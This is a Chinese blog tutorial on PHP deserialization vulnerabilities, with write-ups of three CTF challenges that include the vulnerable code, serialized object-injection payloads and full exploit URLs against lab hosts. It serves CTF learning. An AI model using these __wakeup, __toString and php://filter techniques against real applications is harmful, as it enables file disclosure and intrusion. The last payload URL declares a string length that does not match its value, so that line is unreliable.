php反序列化,学了忘,忘了学,其实之前没学会,最后再学亿次吧,这次希望自己能够学会。
0x00 什么是序列化和反序列化
序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
0x01 序列化中常见的魔法函数
__construct()
实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
__destruct()
当删除一个对象或对象操作终止时被调用。
__call()
对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
__toString()
当一个对象被当作一个字符串使用
__sleep()
在对象在被序列化之前运行
__wakeup
将在序列化之后立即被调用
__get()
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
__set()
设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数
__invoke()
当脚本尝试将对象调用为函数时触发
__clone()
克隆对象时被调用。
__autoload() 或 spl_autoload_register()
实例化一个对象时,如果对应的类不存在,则该方法被调用。
0x02 CTF练习一([极客大挑战 2019]PHP)
下载源码 www.zip
index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
代码分析
- 当序列化时会调用 __wakeup()函数,改变变量 $username的赋值,这时需要绕过 __wakeup()函数,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
- 被private访问控制修饰符的属性 进行序列化时,格式是\00类名\00成员名 \00是不可见字符,传参时需要进行url编码成%00,否则会报错。
- 令password=100 或者 password=“100”
payload
<?php
class Name{
private $username = "admin";
private $password = "100";
}
$a = serialize(new Name);
echo $a;
echo "\n\n";
echo urlencode($a);
?>
//输出 O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
运行截图
将属性个数更改为2以上均可
0x03 CTF练习二([ZJCTF 2019]NiZhuanSiWei)
index.php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
代码分析
1、 file_get_contents() 函数把整个文件读入一个字符串中,根据代码要求是要读一个文件里面的内容要是 “welcome to the zjctf” ,可以使用 data://text/plain;base64
2、 include($file); //useless.php 使用 php://filter/read=convert.base64-encode/resource=file读取 useless.php文件内容
3、 useless.php 中__tostring()函数作用是 file_get_contents()读取输出,echo $password; 可以构造 $password为一个序列化的对象,当对象被输出时,序列化的对象被当做是字符串,继而触发 __toString()魔法函数。
payload
<?php
class FLag{
public $file='flag.php';
}
$a = serialize(new Flag);
echo $a;
?>
//输出 O:4:"FLag":1:{s:4:"file";s:8:"flag.php";}
http://221a900c-0f29-4160-bb67-564b995ecd11.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22FLag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
0x04 CTF练习三([网鼎杯 2020 青龙组]AreUSerialz)
index.php
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码分析
1、process() 函数中存在两个操作当 $op等于"1"时执行write()函数, $ op等于"2"时执行read()函数。重点看read()函数 file_get_contents($this->filename); 可以读取文件中的内容。
2、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
a. PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
b. private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
3、__destruct()绕过,当 $op强等于"2"时会被重新赋值为"1",可以利用php的弱类型使得 $op弱等于int类型的 2
————————————————
版权声明:本文为CSDN博主「FTOrange」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Oavinci/article/details/106998738
payload
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
//public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"
public $content = "oavinci";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
//输出
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}
http://fd59bb17-9985-4253-bea2-fba8286705a5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:7:%22111%22;}